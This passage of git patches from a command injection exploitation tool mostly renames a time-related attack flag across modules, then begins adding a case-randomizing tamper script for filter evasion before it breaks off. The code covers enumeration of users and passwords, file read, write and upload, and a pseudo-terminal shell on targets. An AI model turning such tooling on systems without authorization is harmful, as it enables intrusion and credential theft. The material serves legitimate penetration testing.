settings.TIME_RELATED_ATTACK and script in settings.TIME_RELATED_TAMPER_SCRIPTS: + warn_msg = "Only time-related techniques support the usage of '" + script + ".py'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + warn_msg = "" if settings.EVAL_BASED_STATE != False and script in settings.EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS: warn_msg = "The dynamic code evaluation technique does " elif settings.TARGET_OS == settings.OS.WINDOWS and script in settings.WIN_NOT_SUPPORTED_TAMPER_SCRIPTS: @@ -3020,19 +3014,19 @@ def use_temp_folder(no_result, url, timesec, filename, tmp_path, http_request_me # continue """ -Set time relative timesec +Set time related timesec """ -def time_relative_timesec(timesec): - if settings.TIME_RELATIVE_ATTACK and settings.TIMESEC < 1: +def time_related_timesec(timesec): + if settings.TIME_RELATED_ATTACK and settings.TIMESEC < 1: timesec = 1 else: timesec = settings.TIMESEC return timesec """ -Export the time relative injection results +Export the time related injection results """ -def time_relative_export_injection_results(cmd, separator, output, check_exec_time): +def time_related_export_injection_results(cmd, separator, output, check_exec_time): if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if output != "" and check_exec_time != 0 : diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index f892e9b8bb..486cfbb702 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -61,7 +61,7 @@ def basic_payload_generator(): Initializing basic level check status """ def basic_level_checks(): - settings.TIME_RELATIVE_ATTACK = False + settings.TIME_RELATED_ATTACK = False settings.SKIP_CODE_INJECTIONS = None settings.SKIP_COMMAND_INJECTIONS = None settings.IDENTIFIED_COMMAND_INJECTION = False diff --git a/src/core/injections/controller/enumeration.py b/src/core/injections/controller/enumeration.py index 0f1fec9f0a..d176097b4a 100755 --- a/src/core/injections/controller/enumeration.py +++ b/src/core/injections/controller/enumeration.py @@ -41,10 +41,10 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector _ = False cmd = settings.PS_VERSION - if not settings.TIME_RELATIVE_ATTACK and alter_shell: + if not settings.TIME_RELATED_ATTACK and alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -88,7 +88,7 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h cmd = settings.HOSTNAME if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -133,11 +133,11 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.TARGET_OS == settings.OS.WINDOWS: settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS - if not settings.TIME_RELATIVE_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and alter_shell: + if not settings.TIME_RELATED_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and alter_shell: cmd = "cmd /c " + cmd if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -158,19 +158,19 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if target_os: - if not settings.TIME_RELATIVE_ATTACK: + if not settings.TIME_RELATED_ATTACK: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS != settings.OS.WINDOWS: cmd = settings.DISTRO_INFO - if not settings.TIME_RELATIVE_ATTACK: + if not settings.TIME_RELATED_ATTACK: if settings.USE_BACKTICKS: cmd = checks.remove_command_substitution(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) else: @@ -196,11 +196,11 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP - if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0 and _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -246,7 +246,7 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese cmd = settings.CURRENT_USER if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -293,7 +293,7 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites cmd = checks.remove_command_substitution(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -335,15 +335,15 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese _ = False if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_SYS_USERS - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: cmd = cmd + settings.WIN_REPLACE_WHITESPACE if alter_shell: cmd = checks.escape_single_quoted_cmd(cmd) - if not settings.TIME_RELATIVE_ATTACK: + if not settings.TIME_RELATED_ATTACK: cmd = checks.add_new_cmd(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True try: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: @@ -388,7 +388,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti cmd = settings.SYS_PASSES if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -432,7 +432,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, checks.print_enumenation().print_single_os_cmd_msg(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: _ = True if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -451,7 +451,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) - if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0: + if settings.TIME_RELATED_ATTACK and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) diff --git a/src/core/injections/controller/file_access.py b/src/core/injections/controller/file_access.py index 64e64f57f6..f5e719722a 100755 --- a/src/core/injections/controller/file_access.py +++ b/src/core/injections/controller/file_access.py @@ -36,7 +36,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, from src.core.injections.results_based.techniques.eval_based import eb_injector as injector else: from src.core.injections.results_based.techniques.classic import cb_injector as injector - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: whitespace = settings.WHITESPACES[0] _ = True cmd = checks.change_dir(dest_to_write) @@ -61,7 +61,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector cmd = checks.write_content(content, dest_to_write) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: cmd = cmd + _urllib.parse.quote(separator) + settings.FILE_READ + dest_to_write if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) @@ -76,7 +76,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) cmd = checks.check_file(dest_to_write) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if settings.VERBOSITY_LEVEL == 0 and not _: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: @@ -92,7 +92,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_write_status(shell, dest_to_write) @@ -112,7 +112,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec else: from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector cmd, dest_to_upload = checks.check_file_to_upload() - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) else: @@ -125,7 +125,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) cmd = checks.check_file(dest_to_upload) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) else: if settings.USE_BACKTICKS: @@ -136,7 +136,7 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_upload_status(shell, dest_to_upload) @@ -159,7 +159,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, _ = False cmd, file_to_read = checks.file_content_to_read() if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) else: @@ -178,7 +178,7 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = "".join(str(p) for p in shell) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if settings.VERBOSITY_LEVEL == 0 and _ and len(shell) != 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) checks.file_read_status(shell, file_to_read, filename) diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index 6d03cf211d..a0b29f94ea 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -105,13 +105,13 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, time.sleep(timesec) if menu.options.ignore_session or session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # The main command injection exploitation. - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique) else: check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) # Export injection result - checks.time_relative_export_injection_results(cmd, separator, shell, check_exec_time) + checks.time_related_export_injection_results(cmd, separator, shell, check_exec_time) else: if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) @@ -164,9 +164,9 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, settings.print_data_to_stdout(settings.END_LINE.CR) """ -The main time-relative exploitation proccess. +The main Time-related exploitation proccess. """ -def do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): +def do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): counter = 1 num_of_chars = 1 @@ -177,11 +177,11 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t false_positive_warning = False export_injection_info = False exec_time = 0 - timesec = checks.time_relative_timesec(timesec) + timesec = checks.time_related_timesec(timesec) - if settings.TIME_RELATIVE_ATTACK == False: - checks.time_relative_attaks_msg() - settings.TIME_RELATIVE_ATTACK = None + if settings.TIME_RELATED_ATTACK == False: + checks.time_related_attaks_msg() + settings.TIME_RELATED_ATTACK = None # Check if defined "--url-reload" option. if menu.options.url_reload == True: @@ -273,8 +273,8 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t else: percent = "" else: - if checks.time_relative_shell(url_time_response, exec_time, timesec): - # Time relative false positive fixation. + if checks.time_related_shell(url_time_response, exec_time, timesec): + # Time related false positive fixation. false_positive_fixation = False if len(TAG) == output_length: @@ -333,7 +333,7 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t else: exec_time, output = injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique) - if checks.time_relative_shell(url_time_response, exec_time, timesec): + if checks.time_related_shell(url_time_response, exec_time, timesec): if str(output) == str(randvcalc) and len(TAG) == output_length: possibly_vulnerable = True exec_time_statistic = 0 @@ -386,7 +386,7 @@ def do_time_relative_proccess(url, timesec, filename, http_request_method, url_t # Yaw, got shellz! # Do some magic tricks! - if checks.time_relative_shell(url_time_response, exec_time, timesec): + if checks.time_related_shell(url_time_response, exec_time, timesec): if (len(TAG) == output_length) and (possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == settings.INJECTION_LEVEL): found = True no_result = False @@ -433,7 +433,7 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec call_tmp_based = False next_attack_vector = False export_injection_info = False - timesec = checks.time_relative_timesec(timesec) + timesec = checks.time_related_timesec(timesec) if technique == settings.INJECTION_TECHNIQUE.CLASSIC: try: diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index f0560665e4..6b5dc1e345 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -36,7 +36,7 @@ """ The main time-realative command injection exploitation. """ -def time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): +def time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.injections.blind.techniques.time_based import tb_payloads as payloads diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 38fa3e16b4..0f013843d9 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -26,7 +26,7 @@ The "tempfile-based" injection technique handler """ def tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): - return handler.do_time_relative_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) + return handler.do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) """ The exploitation function. @@ -35,15 +35,15 @@ def tfb_injection_handler(url, timesec, filename, http_request_method, url_time_ def exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response): settings.WEB_ROOT = "" # Check if attack is based on time delays. - if not settings.TIME_RELATIVE_ATTACK : - checks.time_relative_attaks_msg() - settings.TIME_RELATIVE_ATTACK = True + if not settings.TIME_RELATED_ATTACK : + checks.time_related_attaks_msg() + settings.TIME_RELATED_ATTACK = True injection_type = settings.INJECTION_TYPE.SEMI_BLIND technique = settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED if tfb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) == False: - settings.TIME_RELATIVE_ATTACK = settings.TEMPFILE_BASED_STATE = False + settings.TIME_RELATED_ATTACK = settings.TEMPFILE_BASED_STATE = False return False # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index ccfd412e92..bc181c9a62 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -24,7 +24,7 @@ The main command injection exploitation. """ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): - return injector.time_relative_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) + return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) """ False Positive check and evaluation. diff --git a/src/core/main.py b/src/core/main.py index 2dbe2d9eb3..56624cff5b 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -283,8 +283,8 @@ def init_injection(url): settings.FILE_BASED_STATE = False if settings.TEMPFILE_BASED_STATE: settings.TEMPFILE_BASED_STATE = False - if settings.TIME_RELATIVE_ATTACK: - settings.TIME_RELATIVE_ATTACK = False + if settings.TIME_RELATED_ATTACK: + settings.TIME_RELATED_ATTACK = False """ Using 'stdin' for parsing targets. diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index d5e09c27d4..b1559fa1d3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -355,7 +355,7 @@ def request_failed(err_msg): return False return True else: - error_msg = "The provided target URL seems not reachable." + error_msg = "The provided target URL seems not reachable. " items = [] if not menu.options.random_agent: items.append("'--random-agent' switch") @@ -416,7 +416,7 @@ def get_request_response(request): Check if target host is vulnerable. """ def init_injection(payload, http_request_method, url): - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: start = 0 end = 0 start = time.time() @@ -458,7 +458,7 @@ def init_injection(payload, http_request_method, url): headers.do_check(request) response = get_request_response(request) - if settings.TIME_RELATIVE_ATTACK: + if settings.TIME_RELATED_ATTACK: end = time.time() response = int(end - start) else: @@ -500,7 +500,7 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() @@ -510,7 +510,7 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): except Exception as err_msg: response = request_failed(err_msg) - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() exec_time = int(end - start) return exec_time @@ -543,7 +543,7 @@ def inject_user_agent(url, vuln_parameter, payload, http_request_method): except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() @@ -553,7 +553,7 @@ def inject_user_agent(url, vuln_parameter, payload, http_request_method): except Exception as err_msg: response = request_failed(err_msg) - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() exec_time = int(end - start) return exec_time @@ -586,7 +586,7 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() @@ -596,7 +596,7 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): except Exception as err_msg: response = request_failed(err_msg) - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() exec_time = int(end - start) return exec_time @@ -629,7 +629,7 @@ def inject_host(url, vuln_parameter, payload, http_request_method): except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() @@ -639,7 +639,7 @@ def inject_host(url, vuln_parameter, payload, http_request_method): except Exception as err_msg: response = request_failed(err_msg) - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() exec_time = int(end - start) return exec_time @@ -675,7 +675,7 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): except ValueError: pass - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : start = 0 end = 0 start = time.time() @@ -685,7 +685,7 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): except Exception as err_msg: response = request_failed(err_msg) - if settings.TIME_RELATIVE_ATTACK : + if settings.TIME_RELATED_ATTACK : end = time.time() exec_time = int(end - start) return exec_time @@ -879,7 +879,7 @@ def url_reload(url, timesec): return response """ -Calculate the time relative execution time +Calculate the time related execution time """ def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): # Fix prefixes / suffixes diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 30a39b1881..b26e740e54 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -40,12 +40,10 @@ def sleep_to_timeout_ping(payload): else: payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout") return payload - if not settings.TIME_RELATIVE_ATTACK: + if not settings.TIME_RELATED_ATTACK: if settings.TRANFROM_PAYLOAD == None: - if settings.TRANFROM_PAYLOAD == None: - checks.time_relative_tamper(__tamper__) - settings.TRANFROM_PAYLOAD = False - return payload + settings.TRANFROM_PAYLOAD = False + return payload else: settings.TRANFROM_PAYLOAD = True if settings.TRANFROM_PAYLOAD: diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py index 7cf95b8b7e..0e3f69946c 100644 --- a/src/core/tamper/sleep2usleep.py +++ b/src/core/tamper/sleep2usleep.py @@ -41,9 +41,8 @@ def sleep_to_usleep(payload): payload = payload.replace(match.group(0), sleep_to_usleep + settings.WHITESPACES[0] + usleep_delay) return payload if settings.TARGET_OS != settings.OS.WINDOWS: - if not settings.TIME_RELATIVE_ATTACK: + if not settings.TIME_RELATED_ATTACK: if settings.TRANFROM_PAYLOAD == None: - checks.time_relative_tamper(__tamper__) settings.TRANFROM_PAYLOAD = False return payload else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6231f081d1..ba2972f9ee 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "13" +REVISION = "14" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -455,7 +455,7 @@ class OS(object): TIME_BASED_STATE = False FILE_BASED_STATE = False TEMPFILE_BASED_STATE = False -TIME_RELATIVE_ATTACK = False +TIME_RELATED_ATTACK = False # Stored applied techniques SESSION_APPLIED_TECHNIQUES = "" @@ -1153,6 +1153,11 @@ class AUTH_TYPE(object): "uninitializedvariable" ] +TIME_RELATED_TAMPER_SCRIPTS = [ + "sleep2usleep", + "sleep2timeout" +] + IGNORE_TAMPER_TRANSFORMATION = [ "IFS", "if", From 5f87d4bda76bda577b5dded3dd36450ef0299bee Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 17 Mar 2025 16:50:55 +0200 Subject: [PATCH 0539/1023] Added a new tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 14 ++++++++ src/core/tamper/randomcase.py | 45 ++++++++++++++++++++++++ src/utils/settings.py | 4 ++- 4 files changed, 63 insertions(+), 1 deletion(-) create mode 100644 src/core/tamper/randomcase.py diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b4d19899a1..31da34fd27 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Added: New tamper script "randomcase.py" that replaces each character in a user-supplied OS command with a random case. * Revised: Minor code refactoring regarding multiple tamper scripts. * Revised: Minor code refactoring regarding payloads for time-related techniques (i.e. "time-based", "tempfile-based"). * Revised: Improvement regarding tamper script "backticks.py" for supporting time-related techniques (i.e. "time-based", "tempfile-based"). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 36fab1b190..df08e617d0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1620,6 +1620,14 @@ def whitespace_check(payload): Check for symbols (i.e "`", "^", "$@" etc) between the characters of the generated payloads. """ def other_symbols(payload): + # Implemented check to replace each character in a user-supplied OS command with a random case. + if payload.count("|tr \"[A-Z]\" \"[a-z]\"") >= 1 and settings.TARGET_OS != settings.OS.WINDOWS: + if not settings.TAMPER_SCRIPTS['randomcase']: + if menu.options.tamper: + menu.options.tamper = menu.options.tamper + 